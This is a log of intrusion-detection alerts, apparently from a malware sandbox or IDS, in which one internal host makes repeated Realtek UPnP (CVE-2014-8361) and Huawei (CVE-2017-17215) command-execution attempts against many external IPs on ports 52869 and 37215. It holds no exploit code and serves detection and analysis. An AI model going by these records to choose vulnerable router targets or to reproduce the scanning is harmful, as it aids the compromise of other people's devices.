SID:	2829579
Source Port:	34400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.81.156.141

Timestamp:	07/20/24-23:01:49.387850
SID:	2025132
Source Port:	50492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 91.117.171.160

Timestamp:	07/20/24-23:02:11.791090
SID:	2027339
Source Port:	50920
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 181.123.95.218

Timestamp:	07/20/24-23:01:24.885849
SID:	2829579
Source Port:	55258
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 182.119.21.176

Timestamp:	07/20/24-23:02:05.547419
SID:	2027339
Source Port:	55264
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 99.184.135.95

Timestamp:	07/20/24-23:01:02.095698
SID:	2835222
Source Port:	35250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 17.67.251.17

Timestamp:	07/20/24-23:01:02.064358
SID:	2829579
Source Port:	52358
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 43.216.241.103

Timestamp:	07/20/24-23:01:43.206220
SID:	2027339
Source Port:	37142
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.240.65.224

Timestamp:	07/20/24-23:01:14.090830
SID:	2829579
Source Port:	55840
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.78.192.6

Timestamp:	07/20/24-23:01:27.650643
SID:	2829579
Source Port:	59830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.89.64.185

Timestamp:	07/20/24-23:01:41.280927
SID:	2027339
Source Port:	45798
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 109.170.40.38

Timestamp:	07/20/24-23:01:44.856714
SID:	2027339
Source Port:	34874
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.3.230.130

Timestamp:	07/20/24-23:01:31.977603
SID:	2829579
Source Port:	56198
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.125.123.117

Timestamp:	07/20/24-23:01:26.019285
SID:	2027339
Source Port:	58760
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.207.43.131

Timestamp:	07/20/24-23:01:00.651026
SID:	2835222
Source Port:	38614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 174.232.185.220

Timestamp:	07/20/24-23:01:45.098864
SID:	2831300
Source Port:	42410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 68.209.51.160

Timestamp:	07/20/24-23:01:58.031141
SID:	2027339
Source Port:	54370
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.157.98.132

Timestamp:	07/20/24-23:01:27.668073
SID:	2835222
Source Port:	35160
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 190.39.12.159

Timestamp:	07/20/24-23:01:14.095462
SID:	2835222
Source Port:	55122
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 39.189.20.84

Timestamp:	07/20/24-23:01:44.469580
SID:	2025132
Source Port:	33848
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 221.45.252.241

Timestamp:	07/20/24-23:01:14.105395
SID:	2829579
Source Port:	42602
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 208.24.233.14

Timestamp:	07/20/24-23:01:41.608574
SID:	2025132
Source Port:	55524
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 205.136.89.238

Timestamp:	07/20/24-23:01:44.186066
SID:	2027339
Source Port:	49882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.52.72.38

Timestamp:	07/20/24-23:01:11.828422
SID:	2835222
Source Port:	38032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 150.181.42.248

Timestamp:	07/20/24-23:01:08.646615
SID:	2027339
Source Port:	54664
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.245.86.200

Timestamp:	07/20/24-23:01:12.888802
SID:	2027339
Source Port:	52984
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.9.9.217

Timestamp:	07/20/24-23:01:20.131339
SID:	2835222
Source Port:	38098
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.139.230.45

Timestamp:	07/20/24-23:01:44.215876
SID:	2027339
Source Port:	52906
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 171.195.37.248

Timestamp:	07/20/24-23:01:47.934101
SID:	2831300
Source Port:	42244
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 71.66.59.209

Timestamp:	07/20/24-23:01:53.261844
SID:	2831300
Source Port:	36204
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.1.231.94

Timestamp:	07/20/24-23:01:07.075937
SID:	2835222
Source Port:	45130
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 196.46.94.209

Timestamp:	07/20/24-23:01:47.385543
SID:	2027339
Source Port:	33372
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 24.200.205.123

Timestamp:	07/20/24-23:01:49.803911
SID:	2831300
Source Port:	58846
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 79.130.195.101

Timestamp:	07/20/24-23:01:43.528109
SID:	2025132
Source Port:	58076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 147.236.68.25

Timestamp:	07/20/24-23:01:45.048479
SID:	2025132
Source Port:	36116
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.7.66.220

Timestamp:	07/20/24-23:01:42.357440
SID:	2025132
Source Port:	56164
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.179.86.20

Timestamp:	07/20/24-23:01:06.975117
SID:	2829579
Source Port:	42152
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 71.205.8.144

Timestamp:	07/20/24-23:01:44.757783
SID:	2027339
Source Port:	49426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.130.229.37

Timestamp:	07/20/24-23:01:00.634497
SID:	2829579
Source Port:	41068
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.233.159.133

Timestamp:	07/20/24-23:01:24.904906
SID:	2835222
Source Port:	41726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.6.98.70

Timestamp:	07/20/24-23:00:57.221748
SID:	2835222
Source Port:	47728
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 44.70.248.184

Timestamp:	07/20/24-23:01:01.805210
SID:	2027339
Source Port:	55998
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 72.19.23.60

Timestamp:	07/20/24-23:02:04.525064
SID:	2027339
Source Port:	38412
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 187.11.252.34

Timestamp:	07/20/24-23:01:40.336908
SID:	2829579
Source Port:	36250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.37.182.204

Timestamp:	07/20/24-23:01:04.098909
SID:	2835222
Source Port:	42308
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 176.127.40.36

Timestamp:	07/20/24-23:01:42.632123
SID:	2831300
Source Port:	57086
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.230.66.89

Timestamp:	07/20/24-23:01:46.241196
SID:	2027339
Source Port:	60242
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 186.231.211.62

Timestamp:	07/20/24-23:01:45.134490
SID:	2831300
Source Port:	57054
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 143.152.117.80

Timestamp:	07/20/24-23:01:57.346494
SID:	2025132
Source Port:	60314
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.172.242.183

Timestamp:	07/20/24-23:01:20.124696
SID:	2835222
Source Port:	33298
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.196.77.201

Timestamp:	07/20/24-23:01:00.633275
SID:	2829579
Source Port:	39114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 124.217.174.35

Timestamp:	07/20/24-23:01:47.108019
SID:	2831300
Source Port:	33128
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.210.235.204

Timestamp:	07/20/24-23:01:41.974742
SID:	2027339
Source Port:	60824
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.202.157.65

Timestamp:	07/20/24-23:01:46.225146
SID:	2027339
Source Port:	47758
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 48.248.156.6

Timestamp:	07/20/24-23:01:43.141192
SID:	2025132
Source Port:	58726
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 217.106.167.57

Timestamp:	07/20/24-23:01:12.852602
SID:	2831300
Source Port:	41254
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 61.172.152.113

Timestamp:	07/20/24-23:01:25.988229
SID:	2027339
Source Port:	37986
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 80.120.36.80

Timestamp:	07/20/24-23:01:58.701160
SID:	2831300
Source Port:	42704
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.146.19.98

Timestamp:	07/20/24-23:01:41.912337
SID:	2027339
Source Port:	36424
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 98.158.142.52

Timestamp:	07/20/24-23:01:58.424201
SID:	2831300
Source Port:	57774
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.144.192.144

Timestamp:	07/20/24-23:01:02.236183
SID:	2027339
Source Port:	48494
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.131.189.107

Timestamp:	07/20/24-23:01:24.867858
SID:	2829579
Source Port:	53214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.13.28.171

Timestamp:	07/20/24-23:01:49.456461
SID:	2027339
Source Port:	51876
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 79.113.232.226

Timestamp:	07/20/24-23:01:53.654810
SID:	2025132
Source Port:	46434
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 27.137.24.94

Timestamp:	07/20/24-23:01:21.954501
SID:	2829579
Source Port:	37116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 67.31.108.66

Timestamp:	07/20/24-23:01:47.818739
SID:	2027339
Source Port:	49766
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 213.118.6.220

Timestamp:	07/20/24-23:01:43.541579
SID:	2027339
Source Port:	45090
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 23.212.5.129

Timestamp:	07/20/24-23:01:20.149798
SID:	2829579
Source Port:	58578
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.82.6.11

Timestamp:	07/20/24-23:01:41.443693
SID:	2025132
Source Port:	58424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 32.0.100.142

Timestamp:	07/20/24-23:01:44.114134
SID:	2025132
Source Port:	60424
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 135.46.10.64

Timestamp:	07/20/24-23:01:54.881105
SID:	2025132
Source Port:	33492
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 36.69.228.71

Timestamp:	07/20/24-23:01:31.314147
SID:	2027339
Source Port:	58596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 212.16.123.155

Timestamp:	07/20/24-23:01:46.284457
SID:	2027339
Source Port:	53406
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 187.89.64.185

Timestamp:	07/20/24-23:01:42.462291
SID:	2831300
Source Port:	46370
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 171.38.97.128

Timestamp:	07/20/24-23:02:00.056416
SID:	2831300
Source Port:	55060
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 112.44.8.51

Timestamp:	07/20/24-23:02:02.632381
SID:	2027339
Source Port:	49310
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 174.232.185.220

Timestamp:	07/20/24-23:01:42.696197
SID:	2027339
Source Port:	41620
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 49.137.23.5

Timestamp:	07/20/24-23:01:44.440718
SID:	2027339
Source Port:	55302
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.75.68.114

Timestamp:	07/20/24-23:00:59.218458
SID:	2835222
Source Port:	51490
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 147.236.68.25

Timestamp:	07/20/24-23:01:45.519460
SID:	2027339
Source Port:	36476
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.95.167.27

Timestamp:	07/20/24-23:01:34.045144
SID:	2829579
Source Port:	38872
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 221.223.71.222

Timestamp:	07/20/24-23:01:44.156178
SID:	2025132
Source Port:	58330
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 90.205.64.234

Timestamp:	07/20/24-23:01:20.593640
SID:	2027339
Source Port:	50794
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 63.208.18.63

Timestamp:	07/20/24-23:01:42.778303
SID:	2831300
Source Port:	41608
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.192.4.35

Timestamp:	07/20/24-23:01:44.674251
SID:	2027339
Source Port:	49456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 207.5.145.91

Timestamp:	07/20/24-23:01:47.829810
SID:	2027339
Source Port:	46942
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.234.180.134

Timestamp:	07/20/24-23:01:04.227976
SID:	2829579
Source Port:	39874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.109.1.91

Timestamp:	07/20/24-23:01:52.684130
SID:	2025132
Source Port:	44022
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.195.69.11

Timestamp:	07/20/24-23:01:07.114267
SID:	2829579
Source Port:	48818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 116.88.149.60

Timestamp:	07/20/24-23:01:25.526897
SID:	2027339
Source Port:	48868
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.95.192.176

Timestamp:	07/20/24-23:01:41.699842
SID:	2025132
Source Port:	57614
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 211.87.162.144

Timestamp:	07/20/24-23:01:41.303455
SID:	2025132
Source Port:	44668
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 71.221.213.203

Timestamp:	07/20/24-23:01:43.636703
SID:	2831300
Source Port:	37804
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.89.247.80

Timestamp:	07/20/24-23:01:21.952782
SID:	2829579
Source Port:	49764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.94.134.229

Timestamp:	07/20/24-23:01:49.064169
SID:	2027339
Source Port:	43312
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.115.124.156

Timestamp:	07/20/24-23:01:00.640312
SID:	2829579
Source Port:	34864
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.184.167.162

Timestamp:	07/20/24-23:01:31.981855
SID:	2835222
Source Port:	46582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 220.210.17.223

Timestamp:	07/20/24-23:01:41.340201
SID:	2027339
Source Port:	37918
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 23.8.251.245

Timestamp:	07/20/24-23:01:46.985099
SID:	2025132
Source Port:	51738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 57.81.97.111

Timestamp:	07/20/24-23:01:47.766845
SID:	2831300
Source Port:	49744
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

